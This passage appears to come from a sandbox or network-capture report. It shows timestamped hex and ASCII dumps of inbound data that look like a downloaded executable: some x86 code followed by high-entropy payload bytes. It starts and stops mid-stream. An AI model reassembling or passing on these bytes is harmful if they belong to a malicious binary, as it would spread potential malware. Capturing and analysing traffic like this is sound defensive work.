ff 15 6c 11 40 00 8b f8 83 ff ff 75 08 ff 15 5c 10 40 00 eb 02 33 c0 85 c0 74 0c 50 e8 Data Ascii: \3;\|;Kr!\8\WWWWW$\ KL1tP"Y}D0tuYEA\MEEuu{YUVuVSYu[MWujuPl@u\@3tP
2023-10-13 14:06:11 UTC	360	IN	Data Raw: 56 33 f6 89 45 88 8b 45 0c 46 33 c9 57 89 45 90 8d 7d e0 89 5d 8c 89 75 98 89 5d b4 89 5d a8 89 5d a4 89 5d a0 89 5d 9c 89 5d b0 89 5d 94 39 5d 24 75 1f e8 0e 4c ff ff 53 53 53 53 53 c7 00 16 00 00 00 e8 96 4b ff ff 83 c4 14 33 c0 e9 4e 06 00 00 8b 55 10 89 55 ac 8a 02 3c 20 74 0c 3c 09 74 08 3c 0a 74 04 3c 0d 75 03 42 eb eb b3 30 8a 02 42 83 f9 0b 0f 87 2f 02 00 00 ff 24 8d 4c fb 40 00 8a c8 80 e9 31 80 f9 08 77 06 6a 03 59 4a eb dd 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 05 6a 05 59 eb c7 0f be c0 83 e8 2b 74 1d 48 48 74 0d 83 e8 03 0f 85 8b 01 00 00 8b ce eb ae 6a 02 59 c7 45 8c 00 80 00 00 eb a2 83 65 8c 00 6a 02 59 eb 99 8a c8 80 e9 31 89 75 a8 80 f9 08 76 a9 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 04 6a 04 eb ad 3c 2b 74 28 3c 2d 74 Data Ascii: V3EEF3WE}]u]]]]]]]9]$uLSSSSSK3NUU< t<t<t<uB0B/$L@1wjYJM$:ujY+tHHtjYEejY1uvM$:uj<+t(<-t
2023-10-13 14:06:11 UTC	364	IN	Data Raw: f6 c3 08 74 03 83 c8 04 f6 c3 04 74 03 83 c8 08 f6 c3 02 74 03 83 c8 10 f6 c3 01 74 03 83 c8 20 f7 c3 00 00 08 00 74 03 83 c8 02 8b cb ba 00 03 00 00 23 ca 56 be 00 02 00 00 74 23 81 f9 00 01 00 00 74 16 3b ce 74 0b 3b ca 75 13 0d 00 0c 00 00 eb 0c 0d 00 08 00 00 eb 05 0d 00 04 00 00 8b cb 81 e1 00 00 03 00 74 0c 81 f9 00 00 01 00 75 06 0b c6 eb 02 0b c2 5e f7 c3 00 00 04 00 74 05 0d 00 10 00 00 c3 33 c0 f6 c2 10 74 05 b8 80 00 00 00 53 56 57 bb 00 02 00 00 f6 c2 08 74 02 0b c3 f6 c2 04 74 05 0d 00 04 00 00 f6 c2 02 74 05 0d 00 08 00 00 f6 c2 01 74 05 0d 00 10 00 00 bf 00 01 00 00 f7 c2 00 00 08 00 74 02 0b c7 8b ca be 00 03 00 00 23 ce 74 1f 3b cf 74 16 3b cb 74 0b 3b ce 75 13 0d 00 60 00 00 eb 0c 0d 00 40 00 00 eb 05 0d 00 20 00 00 b9 00 00 00 03 5f 23 Data Ascii: tttt t#Vt#t;t;utu^t3tSVWttttt#t;t;t;u`@ _#
2023-10-13 14:06:11 UTC	369	IN	Data Raw: 83 96 4b ec 52 d0 71 e2 5a d4 08 cf 07 a0 92 fe 74 23 06 1b 17 7b d7 c8 e5 bf 61 da d8 22 91 b8 11 23 2e 13 d4 c6 ce 9f 68 5c 18 fc a0 2e 99 4a 7d 0d 22 d0 52 73 0d f8 11 34 86 17 c7 50 2a 93 1d d8 91 e3 69 fa ef b6 ab 48 00 b3 c4 3e 8a 6a 1e 7a cb 4b ac f4 75 88 5f 84 05 5c a3 64 33 da 77 5f 86 cd 10 48 f3 92 bd e6 3c 3e cc d1 37 18 69 03 97 90 44 b4 7f 05 69 3f 8a 55 8d 4d ce ec b9 9c 7d 5e 62 c4 64 39 ac 2a 8b 99 2d f0 55 83 69 7e 0c f1 8c 88 27 d2 37 31 ce 6b 3b b2 be 40 04 40 b8 de ee 5c 5a 2d ab d2 40 84 2a 0f 0f 9a 95 f8 71 62 0a 9c c8 e8 d6 1d 5d a2 bf f6 f9 e6 94 73 03 c3 53 53 66 ca 8e cb 29 d9 dd 62 6a e1 2f 23 86 84 36 39 10 bf ef f7 bd ea d0 10 28 ac de 72 65 5f 21 54 98 25 8b ad 32 18 0b f0 53 0a da 58 a4 91 e2 af 96 88 56 e6 43 71 01 10 02 Data Ascii: KRqZt#{a"#.h\.J}"Rs4PiH>jzKu_\d3w_H<>7iDi?UM}^bd9-Ui~'71k;@@\Z-@*qb]sSSf)bj/#69(re_!T%2SXVCq
2023-10-13 14:06:11 UTC	373	IN	Data Raw: a6 75 bb 5b 82 92 76 65 d3 4c 13 50 60 45 6c 1e cc ff 2b b7 47 b3 08 48 42 dc fd 17 4b 05 24 44 cb 92 fc 1a 6a 22 54 0c 7b 67 2d 41 60 01 05 ad dd 3a 95 28 ff 3a fc a8 c3 92 38 ed b5 8f 7d fd 4b e7 36 dd f6 fc dd b6 4f fc 78 30 a7 af 2b ab b7 38 9a ce 31 35 35 72 a8 17 cc 85 d9 68 e4 d5 f7 a3 f0 71 df e9 7a a9 2e 55 ce ae 60 52 f7 c7 e6 01 4c a9 f4 72 28 a1 80 92 30 ab fa bb 79 df 5a 0a 4f d8 a4 9e b1 2e e9 ac 1c df 92 fe 37 f6 02 6d 61 33 07 13 e7 54 98 c4 90 63 04 88 75 ed 5e 7c a2 fb cf aa ba 73 84 84 1e 59 a2 3c a5 cc fb c3 8b 4f 46 fa a2 fd 0b 27 54 3a db 94 52 36 c8 79 4a 30 1d f5 ea b2 a9 1d 06 35 16 00 0e f4 12 3f 0a 2c 30 8a 49 a4 53 6f 05 71 07 42 26 4f f2 b3 3f 76 2e 5d 30 8e 70 f1 39 4d 49 bd aa d7 b7 ca f6 49 b9 b9 9b 5f 58 f0 17 b1 ab 4c bc Data Ascii: u[veLP`El+GHBK$Dj"T{g-A`:(:8}K6Ox0+8155rhqz.U`RLr(0yZO.7ma3Tcu^\|sY<OF'T:R6yJ05?,0ISoqB&O?v.]0p9MII_XL
2023-10-13 14:06:11 UTC	377	IN	Data Raw: c9 e3 52 3a d9 2a fc 41 14 17 a4 db c0 0f 1a da fd 8e b7 ae 38 25 63 2c d0 65 dc 87 74 dc d4 5d e0 7a c6 d7 74 b0 d1 de 58 c5 f2 4f 78 c0 e9 72 2b fd e1 84 b3 10 8e f3 32 11 e3 de 59 c8 b0 0a 5b 1c 18 1d d7 38 cf c7 04 24 5e 4c 3c 33 0b ec 67 c0 39 22 01 39 16 d8 f0 96 50 0e ec 48 e7 57 44 8f bc 24 86 7a a5 63 fd dd d5 29 01 01 ef 9f 8f c5 f8 3c 83 62 02 25 66 e0 f3 e8 82 ed a8 ba b5 56 cf aa 4e 8d f0 f1 63 2e b0 f4 d0 07 d0 fd 1e f0 21 8b 54 79 14 0e 63 99 1c 34 d1 18 5c 89 f9 56 36 52 c0 56 5f cc 00 67 b3 bc e0 1d 1b 37 e8 d9 37 65 30 45 12 fb f3 6f ef 4f d2 a1 71 a4 49 fb bf 07 a5 55 fb 90 6d 73 d4 8f 17 89 c8 e2 e3 c5 6d 4f 5b fd d4 42 66 34 b5 e0 e7 86 11 95 8d 06 39 0f c6 75 4d 25 a9 bf 27 35 2b b1 76 87 07 62 67 7b 31 db a6 53 12 5a bd af 42 7b 3e Data Ascii: R:*A8%c,et]ztXOxr+2Y[8$^L<3g9"9PHWD$zc)<b%fVNc.!Tyc4\V6RV_g77e0EoOqIUmsmO[Bf49uM%'5+vbg{1SZB{>
2023-10-13 14:06:11 UTC	381	IN	Data Raw: 85 1f 84 ed 2e 19 5a f7 d3 f0 d6 1f 1b 68 cb 51 a8 3a 63 01 4d 85 1b 6a 3f f3 ca e7 b1 c0 3b 7f 00 f6 d4 e4 7f 71 87 4d b3 a8 a0 87 a8 0e ed 21 67 c7 a6 f1 e3 1c 87 17 5e 5a 11 29 66 42 f9 7c c4 84 76 f9 c2 19 37 f3 ff f2 17 35 04 29 38 b7 46 55 28 a8 32 fe 1b 46 ee 15 1c ce 6b 9e 7d 9c 45 51 50 f4 2c a7 1e d5 0a 45 2f 49 35 cc 95 d9 44 e7 be 5d 59 59 4c 6c 22 c7 71 8e a0 ad a0 1d 4c 8f e3 5e 42 0d 7e 4e 80 9a 2d 30 8d 62 16 81 f4 f5 92 03 49 56 6f bb 80 27 88 a7 d2 04 09 e0 b9 ff 25 d6 28 59 bb 42 66 93 88 44 81 62 1a c9 f1 cd ff c7 7f e2 61 ca 31 5e 87 cf ef 63 c8 e3 20 8b bd 17 8f 97 26 a8 de 22 73 0a e0 35 12 f4 fb b4 34 48 53 95 2a 4f 23 89 48 03 ca b9 5e e0 93 08 ee 01 d3 0c 2b 83 e3 73 21 e0 27 7e 68 e8 ed 6a 0d 20 eb 6c b1 72 07 e7 27 1c 95 af 9c Data Ascii: .ZhQ:cMj?;qM!g^Z)fB\|v75)8FU(2Fk}EQP,E/I5D]YYLl"qL^B~N-0bIVo'%(YBfDba1^c &"s54HS*O#H^+s!'~hj lr'
2023-10-13 14:06:11 UTC	385	IN	Data Raw: 2a b9 4f 84 62 7d e0 b6 b4 87 f7 49 40 9f 7f bb f8 8e b6 ad 30 c2 a0 1f 3c 64 c9 64 a5 e5 4c 1e 10 58 f4 ac 48 ca a2 7a ff 30 7c b0 5f bd 3a b0 4f 2e ec 3e c4 d2 5b 7b 2d 94 c3 30 f3 87 a7 e8 18 2c 63 4f ce d4 b8 81 f6 24 74 66 45 d4 91 16 00 1f e2 87 1b 87 bd 51 2a 94 83 a1 b0 45 61 dd 81 33 c7 68 ec e7 c7 c3 4b 0b f2 17 ea ec de af e6 ab 52 ff 1f 45 f9 49 d9 30 7c 12 1b 62 27 dd 37 dc 8a 86 cc 70 04 8e ee f2 71 25 67 40 b2 3c fe 31 b7 68 31 f7 45 41 6d 15 60 52 46 69 ac b4 ab 56 e8 a4 fe 76 46 d1 59 1c 1b b4 22 70 73 81 1b 8e e7 68 f6 5a 18 27 a2 c5 51 d2 46 87 6f 91 10 f3 34 ef cc 2d 1b 19 86 35 e5 e2 c5 19 4e 84 91 31 21 83 00 35 bc d3 2e 2f 08 23 74 f5 5d 52 fe 11 bf 48 fe ad da 89 d2 74 a7 aa b7 fe e1 c3 da 1d 01 16 9f 8c a2 6e d2 58 d1 2d 36 be 03 Data Ascii: Ob}I@0<ddLXHz0\|_:O.>[{-0,cO$tfEQEa3hKREI0\|b'7pq%g@<1h1EAm`RFiVvFY"pshZ'QFo4-5N1!5./#t]RHtnX-6
2023-10-13 14:06:11 UTC	389	IN	Data Raw: 3b 09 a5 65 c5 6c 75 67 5c 55 d6 67 60 d8 9a 3e 0a 58 6e 59 44 45 f9 9c b4 e5 e4 27 c5 fa 16 24 3b 5e 20 57 6d d7 14 a4 ee e5 b8 ff 96 a9 4c 3c 3d 1a 82 ea e1 03 8e 71 2d a3 a1 98 07 57 39 fc 2b 9b e8 c0 cb 42 73 4f 27 34 e1 b6 4b 72 10 18 b0 69 53 4f cb e0 be ab b9 3e da 87 42 7f 53 40 12 87 7f 1e 89 75 07 1f 21 de c8 70 9a 4b de ef 1f 33 ad 1c 61 a1 d3 64 13 a9 10 43 de 6e 00 32 73 bd a5 cf 52 ec 01 3e 5d 2a 90 71 ff ed bc e0 a7 53 b4 76 62 04 68 ce ed 3b 02 72 d4 b7 12 5f ec 6c f5 ea 06 19 3a 97 5f 8d 36 c4 a8 69 5a e8 e1 8c 71 d4 99 cd ea 65 a5 47 e1 bd ab 50 97 da f9 a7 70 03 ca 5c e7 5b 9c 14 40 b7 b6 21 86 0d 52 ad 08 5f c1 74 ef 9b cb 89 89 c7 45 0f ee 25 65 82 d7 53 b9 a4 02 6a 6e c0 6b 73 9d 43 f0 2b 83 85 b2 fe 17 e2 a2 a2 a5 45 bd d1 71 bc af Data Ascii: ;elug\Ug`>XnYDE'$;^ WmL<=q-W9+BsO'4KriSO>BS@u!pK3adCn2sR>]*qSvbh;r_l:_6iZqeGPp\[@!R_tE%eSjnksC+Eq
2023-10-13 14:06:11 UTC	393	IN	Data Raw: 66 16 14 40 00 a0 53 14 00 43 05 d7 5e e8 29 2e 58 8c de c7 58 08 fd a5 e3 2a 63 29 29 9f cc 61 52 25 b2 3b 8d 51 fa fa fb 13 d0 e2 45 d6 a2 7a d8 81 25 1b 9f ed e5 06 4c 18 b5 25 47 4f 74 77 d4 5e f3 78 6e 32 f3 3e 2d 3a bf 92 49 79 04 c0 30 0e 36 f5 78 4c 20 f2 7c 0e 0e c1 f7 a5 76 48 81 55 a2 ab 40 d0 3d 32 41 23 c8 e4 7b 5a 95 eb ab a7 fd 13 13 26 2a 12 05 aa 58 bf 62 26 86 20 c2 c5 4f c4 ee d1 2a 3f 9c eb 36 d0 ec 49 11 4c f6 51 c9 9b 49 43 5c 67 c3 f7 8c 9f 48 7d da c8 5c 8f 7a 6d e7 af 89 0d 5f c4 cf 15 07 83 85 37 18 43 1e 5c a9 b8 0e 72 d8 c7 28 23 df e6 82 57 3b 70 1b 02 72 bf 77 17 7f 19 76 d0 62 95 54 fe 66 8a 32 c3 9f 75 72 9b e8 74 b4 e3 32 9d 36 83 fa a8 23 c9 13 d8 51 33 01 77 43 4c 1c 66 9d 4a fe 5b bb fa 1f e1 18 2f cc a1 4e 5a 36 f4 f1 Data Ascii: f@SC^).XXc))aR%;QEz%L%GOtw^xn2>-:Iy06xL \|vHU@=2A#{Z&Xb& O*?6ILQIC\gH}\zm_7C\r(#W;prwvbTf2urt26#Q3wCLfJ[/NZ6
2023-10-13 14:06:11 UTC	396	IN	Data Raw: 60 9c e9 1a 29 d8 e8 ea 83 1c fc 6e e0 60 e3 2f d0 08 7c d1 eb 7c 50 9d ce 3e 76 6d a4 2b 30 d0 68 14 08 59 d6 aa 95 2b 98 0d f2 b1 a2 d9 99 ba fd c7 0a ac ca 00 4b ba da aa 52 5c d5 b7 e8 65 ba f0 96 01 23 d4 ef 4b a1 c3 9b 63 1a 18 7a 15 ba 4a cf c1 20 c3 a0 67 60 6f 19 16 c4 f1 a5 36 f7 c4 dd 4a ff 12 61 90 13 2a 02 6f 8b d6 a2 c3 0f 3c 83 00 2e 38 ec 26 61 5d d4 58 c9 b8 b5 45 2c 7e 95 06 ab 16 be 12 4c 13 a1 8e 12 1b f7 c5 db 33 e6 3f 0d 63 10 16 04 ed 2b 84 10 02 bb e5 f0 54 05 5a c9 c5 dd e4 5f e0 67 98 ee ba 42 ec 62 58 5e 75 55 77 d9 f8 c4 c0 7f 8c 80 ce c0 13 ba d2 4b 7a a0 28 a8 18 b0 08 85 40 e8 93 1d 31 8b 67 5b bc 44 5b fb 5c 2c db 76 42 d8 d1 ed b8 42 42 56 a0 62 66 2a c1 72 a4 31 aa 7b b9 5a c7 91 c9 ce ed 26 f3 92 a7 e0 2f ec af d4 b6 d4 Data Ascii: `)n`/\|\|P>vm+0hY+KR\e#KczJ g`o6Jao<.8&a]XE,~L3?c+TZ_gBbX^uUwKz(@1g[D[\,vBBBVbfr1{Z&/
2023-10-13 14:06:11 UTC	401	IN	Data Raw: 15 c6 ca ae 91 05 fc a4 0f 12 37 88 e6 d6 74 47 e5 5d c4 12 8e 4a c3 ec 10 77 23 9e c5 20 74 12 90 3a 6d 30 3b fc 55 9f b0 8e 40 84 a2 bf 7a ab 2e b0 17 61 77 0a ba cc e2 2a 28 e3 36 1b aa 84 27 53 61 fd 75 5d 45 fe c4 c5 e9 31 dc 32 25 1a 4a 86 f4 a6 82 9e ef 8d 84 62 4f b2 03 ef 5d a9 43 38 01 ab 82 40 25 d8 c1 35 7d 94 87 e7 da 7f 01 05 36 ce cc 43 f3 bd c0 54 d7 09 92 6e a8 94 c0 c3 13 1a 44 3b 65 19 bd 1e 91 f4 dc 89 26 1a 06 51 ce d6 af 7c c5 5a 46 e6 0d 08 44 92 2c 88 01 9b d9 e2 b5 98 04 8f 11 aa df 62 67 a9 a1 4d 9b cf 5e 49 1d 17 91 6d 62 7c 2d 00 50 17 b3 4f bd bf a2 ac 3f eb 2f 6d 5f 4b e5 ca 28 08 78 35 d2 3c f6 72 5b c0 42 12 60 f5 65 a5 10 65 00 49 64 bf 24 c5 a0 47 01 4d da 2f 33 f5 ba 84 ee 74 50 f0 7d 8a 7a 5f f9 09 a6 b4 af 4c 3f 18 25 Data Ascii: 7tG]Jw# t:m0;U@z.aw*(6'Sau]E12%JbO]C8@%5}6CTnD;e&Q\|ZFD,bgM^Imb\|-PO?/m_K(x5<r[B`eeId$GM/3tP}z_L?%
2023-10-13 14:06:11 UTC	405	IN	Data Raw: a4 45 43 25 b8 8b 07 f7 28 9a e6 65 ee 9b 45 90 e7 a7 e7 e3 39 09 0d 5e 99 4f fc 09 86 58 83 62 40 75 96 88 bb 48 f8 43 c2 64 10 17 61 50 ce f5 51 be 18 36 9b 7e d9 06 43 16 0b 2c d6 89 82 0d 5b 64 d3 3f 19 96 72 b0 9d f2 13 6e 61 bc df f2 10 6b 9e af c4 a4 22 ff cd a8 fc 53 1a 11 16 f6 05 a1 2e 68 89 0f 56 50 bd 58 ea 14 9b 28 5c 61 2a 0f 83 64 8c 6b d9 7c 15 82 0d 56 74 0c d8 59 82 f6 02 b2 ab 0f 23 d4 d9 fe 4f ca 51 be dd 10 a2 b2 9c 36 17 c9 1b e4 47 ff 7c 5c 4c 51 5b 75 90 53 32 b3 e7 71 87 97 6e fe 21 0b 8c b7 ba 33 3b d8 d9 a7 ea d3 19 86 16 0e 1c 8f 71 50 21 77 34 20 73 8c 4a ba d6 17 46 25 d4 7e c5 33 08 23 70 68 52 9e 6a 2e b7 01 48 69 3e 59 74 25 38 cf ce 33 16 80 3b 54 7c 3d e4 e8 3d 31 d2 c3 71 9e 31 2c f1 50 cb de 40 e1 94 81 65 a9 dd b5 a2 Data Ascii: EC%(eE9^OXb@uHCdaPQ6~C,[d?rnak"S.hVPX(\a*dk\|VtY#OQ6G\|\LQ[uS2qn!3;qP!w4 sJF%~3#phRj.Hi>Yt%83;T\|==1q1,P@e
2023-10-13 14:06:11 UTC	409	IN	Data Raw: 8e 25 d0 53 aa ba 42 12 8d c5 bb f4 ce 53 99 ce ad 05 24 76 3b 2d b4 9d 90 87 c8 43 59 6a 7a 72 b7 9d bf 74 32 3c 53 89 1d ca 99 bc 92 f9 4d c5 9d 87 be d9 72 46 a6 85 86 7d cd 30 df 5b f1 4f 16 c0 ac 0d 61 27 e9 3b a1 d2 51 f2 dc 10 18 5e cb 2c 8c 47 64 dd ba c5 f2 14 b6 f7 b1 7f 7b e5 11 81 9c 65 f8 53 69 4e b7 d6 e9 6b 0b 6f 59 15 e9 e6 a0 d6 2b 41 c8 62 32 da d8 d0 f8 21 40 9c d7 fe 0c 96 4d 21 fe e8 6f 2c 1c 08 2b d6 d9 1b 2f fd a9 32 c4 ca 8f 17 34 44 25 65 5c 2b 81 9b 0e f1 5b cc 54 ac d2 0c a5 d7 62 f7 9e 5e 0c 00 66 d7 75 38 d1 e6 88 52 03 bd a7 91 c1 cc ee 92 7e 16 d4 43 f0 2e 00 cb 10 a7 c5 f0 c4 07 19 f4 48 1d 6b 7b d1 a5 54 2a 9a dc aa 0f ee 46 1f b3 ea a9 e2 a6 db 6e ca f1 10 4c db 41 61 7e 11 53 cf 1c e4 02 49 65 fd 4f 91 14 a5 b7 d0 87 59 Data Ascii: %SBS$v;-CYjzrt2<SMrF}0[Oa';Q^,Gd{eSiNkoY+Ab2!@M!o,+/24D%e\+[Tb^fu8R~C.Hk{T*FnLAa~SIeOY
2023-10-13 14:06:11 UTC	413	IN	Data Raw: 8e 0f 6a ce fd c7 ba 27 40 f7 e0 71 ff 47 aa 14 6b 44 0c 07 8f b4 77 b1 87 fe 92 67 01 93 0e 12 9d 25 a5 78 28 e5 de 30 a4 be b8 d9 44 54 76 52 41 a3 30 c0 4e fc 22 2e ec 0d b3 52 f3 87 77 6a 03 91 0a 88 7a aa 26 66 af f5 fd ad 79 cc 96 50 86 9b b4 e1 fc a4 8d 0c 35 e8 18 e5 cd 16 4d 25 4d 10 8e 6a 8d 79 00 a3 67 24 d2 d1 2f 6b ab 64 71 49 60 41 b3 94 96 3c 42 51 de 14 a9 f0 3a 34 d4 de 21 08 7e 3d de ba f5 69 23 b4 43 99 99 42 58 6f 51 9c ca 26 9b 04 87 1d 8d 72 51 76 14 82 ec bd 00 c6 e6 bf 9c 59 0c 93 40 36 ff a5 7b ec 77 80 21 41 29 09 7f 35 ad 89 d0 80 da 2c dd 5b 98 a6 bf 73 16 c7 ef c1 73 62 1d b2 d4 be f9 84 e9 a0 7b bd c6 13 6d 4f 17 4d 99 6e 96 be 24 10 93 23 17 8f 4c 97 07 6c 0a 74 27 90 9e cb 4b 77 02 ef 56 50 0c 33 95 19 fc 97 f5 32 9a 40 1f Data Ascii: j'@qGkDwg%x(0DTvRA0N".Rwjz&fyP5M%Mjyg$/kdqI`A<BQ:4!~=i#CBXoQ&rQvY@6{w!A)5,[ssb{mOMn$#Llt'KwVP32@
2023-10-13 14:06:11 UTC	417	IN	Data Raw: db 23 59 ab 4e 7a 9b 77 79 63 9b b3 7f 33 7d e4 00 95 0c 7c b5 e0 18 00 12 a1 3c 68 3f f4 57 dc 3a dc 2d 96 a2 7d 4d 1d d1 69 dd ea 1a 43 5d a9 df e0 02 f1 6a e0 6e 60 a5 ca e9 72 11 eb ee 02 69 e3 b1 93 65 89 55 c8 db 75 3e 45 29 cd 6e fd 2f 78 16 6e 2d bc 95 a2 b9 df 31 47 1f bc 25 08 d3 5e 6c 68 56 b8 6a a5 44 8e 2e 00 47 4a bf 00 ab 12 13 55 c3 65 98 07 23 93 df b5 08 77 92 28 71 5c 1b b4 32 1f a8 fa 83 d9 49 0d ed d5 af 50 6f b4 76 e6 7a db 39 92 67 12 b5 cf b3 af d0 11 e6 8a 1d c2 07 a5 88 22 84 f6 f1 f3 5a 31 30 34 bc be 6d 0b 54 13 58 eb b7 ab 23 e3 05 b5 20 7f 7d 6e b9 57 39 99 82 48 9a de 7e e8 5a 65 e5 3f 40 e5 ba de 29 48 e7 39 6b f0 50 58 17 55 28 7e 17 cb 8a 71 f6 dc b4 16 f5 b6 3d 73 3e 3d a7 23 b0 44 89 06 47 8e ab 91 0e 85 d3 1e 38 09 4f Data Ascii: #YNzwyc3}\|<h?W:-}MiC]jn`rieUu>E)n/xn-1G%^lhVjD.GJUe#w(q\2IPovz9g"Z104mTX# }nW9H~Ze?@)H9kPXU(~q=s>=#DG8O
2023-10-13 14:06:11 UTC	421	IN	Data Raw: 25 d6 3f 56 be a8 99 5d 2e 63 54 d8 4e bb 78 ae a2 4d 16 5d 07 03 52 8d d7 fa da 59 83 a0 f8 aa 14 90 0d 81 69 2a ba 3f fc af 90 1b ef eb 5f 55 6f 19 7a 49 ce 8a 0a 63 4e 13 6d 34 52 f5 34 7f 38 7a 6e 5b 2a af 7c ad 92 e0 2b bf c9 da 93 13 e7 45 7a 12 3b de 3d 9b bc 72 8f e0 20 60 e0 5e 3a 6b 3d b1 3c 79 4c 6a 3b 2f 10 f1 ba 08 02 02 e8 29 d5 e1 61 1c 1a ff 3d 3e c2 f3 d7 7c a4 e2 71 95 b1 14 e8 26 2e 7e 10 79 0c f4 13 22 b1 4d be 70 b8 8b 88 db 12 56 04 a7 59 e6 1e db 5f 0c 5b 19 b5 bd db 7b 45 b2 09 0d 6a d4 9d c6 7f fe a2 28 92 74 72 c5 f1 88 4b 07 8c f1 0b 65 b9 a4 a2 f4 70 bd 3c 28 b8 d9 c4 9a de 45 c8 c1 8e 74 6e 16 64 6c 2e e1 80 85 4e 2d d8 ab 84 43 49 dd c8 fc 75 52 dc a8 0d 09 14 28 b1 a9 d3 e2 a8 20 c3 c0 55 8f 5e 56 95 18 09 6f 46 a9 ce 69 b6 Data Ascii: %?V].cTNxM]RYi?_UozIcNm4R48zn[\|+Ez;=r `^:k=<yLj;/)a=>\|q&.~y"MpVY_[{Ej(trKep<(Etndl.N-CIuR( U^VoFi
2023-10-13 14:06:11 UTC	425	IN	Data Raw: 83 37 e9 10 c2 88 31 9b db 56 b2 a3 9d 08 e9 87 9b 3c 07 64 0b d0 5f 4a f4 e2 7a d8 63 28 26 8c 52 57 2b 9b 13 1c 94 63 89 dc dc 48 81 17 b4 59 16 2d ce e1 2e f8 27 60 81 f4 ac e4 a1 92 b3 01 bd fe 04 18 69 4a 2e d6 6d fa f8 0f d5 9f 94 96 c4 04 b7 5e 55 9f b4 7c 06 26 b8 1c e0 75 55 d8 f0 b2 5e 00 ff 0a fd 03 f3 5f 3f ca 5b a7 ba 27 45 0c 13 04 53 fe 8b 3b 24 ac ae 67 62 b8 84 00 0e e5 05 27 54 8e 17 ab 45 cc 7f 84 67 e0 57 e4 3c 29 25 56 ab d3 a7 55 16 2c 76 35 ab 41 4a b6 10 f3 80 c3 cc 56 e1 19 ce 9d d6 1b 55 9d a2 4c 76 be 11 f7 f9 84 97 96 9b a4 19 41 15 53 07 b3 53 30 ea ec 85 d6 fa 86 e3 12 29 59 eb ba cd 3a dc 0e b8 fe bd f9 c0 4d 44 ce b5 3d 0d 68 0d 10 80 7d e7 f3 7d 47 37 92 12 ff 07 43 82 73 83 37 15 5c 8e 85 ba fd 52 9f c6 45 1d f6 f9 0a 2e Data Ascii: 71V<d_Jzc(&RW+cHY-.'`iJ.m^U\|&uU^_?['ES;$gb'TEgW<)%VU,v5AJVULvASS0)Y:MD=h}}G7Cs7\RE.
2023-10-13 14:06:11 UTC	428	IN	Data Raw: 6a 67 68 ad 2f 63 8d f2 f5 46 e1 9b 55 8c 85 4f f8 63 bd 20 4a af db 15 58 6e 32 2d 2a ab ff 0e 0f b1 09 44 3c 7f 3f bf 30 dc f0 bc 01 6b 4e b6 86 cf 87 50 a7 d1 c9 f5 26 37 b9 44 69 9a e1 f1 db da 52 cf 09 9e 17 92 97 68 f2 5e 7c 10 b8 39 12 b1 f2 0a 78 e8 69 01 05 29 57 d5 6f 90 d7 e1 b0 ef 23 34 4c e0 d1 cd 1e 63 b7 ae 0f 94 4f 89 f8 bc d2 52 56 88 33 e0 1e 0f 23 2f 83 04 c6 15 81 40 ed 74 fa 58 ea 9f 05 f4 41 3b 17 37 d9 05 44 2d c6 f5 97 d8 26 91 58 87 50 af a0 09 20 27 42 d5 30 fd 80 dd a1 34 4d 76 b8 b2 fe 68 8c 09 e5 73 7e cf 3e c8 5a 5b 1d 92 10 eb d4 77 a8 4a c8 98 25 59 b7 06 fc 3c 2f 86 e0 ac 39 e9 75 eb 59 d3 e7 fc f8 24 09 16 ee 19 57 62 a7 97 aa 78 3f 4c f6 0e 65 29 f8 be 0d 94 0c e4 56 8a c5 58 dd c5 7d e6 78 6a 43 6d e4 22 f8 88 1b 66 fb Data Ascii: jgh/cFUOc JXn2-*D<?0kNP&7DiRh^\|9xi)Wo#4LcORV3#/@tXA;7D-&XP 'B04Mvhs~>Z[wJ%Y</9uY$Wbx?Le)VX}xjCm"f
2023-10-13 14:06:11 UTC	433	IN	Data Raw: 2b 0b 82 41 ca 21 b0 c2 e6 54 5b 39 c9 6c 16 c8 79 22 86 4e 19 f2 e2 7a 1b f2 95 64 ae 43 f8 5b 59 06 8c f3 94 90 cf 08 95 96 18 84 19 ec 44 22 4b 27 84 75 93 bf 5e df 85 84 53 dd c7 6b ea 6c 82 a8 15 0b e1 51 a2 98 b4 08 94 81 b1 22 a1 1a 55 77 39 ef 6d 90 fa c9 e7 10 34 2b 59 95 5d 0b cd 30 8a ea fa 4a 12 fb 2e b9 5f ee f5 1d 29 38 56 5e 88 3a 98 48 d2 aa f6 44 c1 22 c2 c6 26 fe 9d 6f 1e 2c 93 6f 51 9b c2 76 6e 73 74 6d 3a 85 fc 39 83 a2 8b 62 fd 1c 6c 34 e5 4d 2a 25 0d e3 44 13 ca 16 e9 cd bc ca 50 c2 cd b3 15 8d 8b 16 fc c3 04 25 a2 a8 5b 94 75 ed 8f 8c eb 22 4e b8 b1 9f 44 04 8a 91 7f 09 3e e0 ee e5 e1 92 38 ba f3 1e bf a5 73 c0 df 39 94 ae 2b 6e c0 e3 57 63 f0 73 13 ae b5 c0 55 1b 29 70 90 7e db 6c 0e 60 e7 68 ec 90 bc 4e 6d 5d 65 95 2c b3 54 f0 b8 Data Ascii: +A!T[9ly"NzdC[YD"K'u^SklQ"Uw9m4+Y]0J._)8V^:HD"&o,oQvnstm:9bl4M*%DP%[u"ND>8s9+nWcsU)p~l`hNm]e,T
2023-10-13 14:06:11 UTC	437	IN	Data Raw: 25 f9 82 64 6e 4c ce eb ad b0 2a 85 1c 5a 0f e7 47 37 3f a2 86 fc 75 9e 66 60 e8 01 fe ae 6e b6 0d 8b 50 06 25 a4 52 f6 70 2c cc 3c a6 56 67 72 e2 8d 00 e4 2f ba 92 ce 9f 1c b1 19 a6 de e3 3c 4a 6d aa dc 0a 20 10 83 58 60 26 38 ce 11 e6 c5 a6 d3 36 6e 20 52 0b 5c 53 12 1b 44 c5 6e eb ff 18 97 71 5f cf 5e 79 85 ee a7 89 9a 8e b4 1f 89 3f e8 e3 eb 2d 46 e4 8f e6 40 6d 9d 83 90 85 6d bb 30 0e 2e 2f a3 8b 90 05 06 b5 e3 4b ce cd 34 56 5c 3c f0 e9 41 e3 62 ed 25 31 8c 27 66 8a a4 eb 20 38 36 2f 36 d0 ac 29 ad 4e e5 65 5a 98 10 68 5d 30 87 31 f1 5d bf 85 25 83 3f 85 c0 7a 53 6f 3b 5e 62 0f 3e 70 60 56 25 f1 29 56 8a 0f 2a 7b ec 9a 82 65 db a3 c6 2c 59 bd f4 d5 44 c0 84 f8 25 f2 12 39 ca ec 69 d7 e1 84 1f 0a b5 6d 4c a1 e0 c3 d6 90 80 ec 79 6d 47 27 63 32 3d f7 Data Ascii: 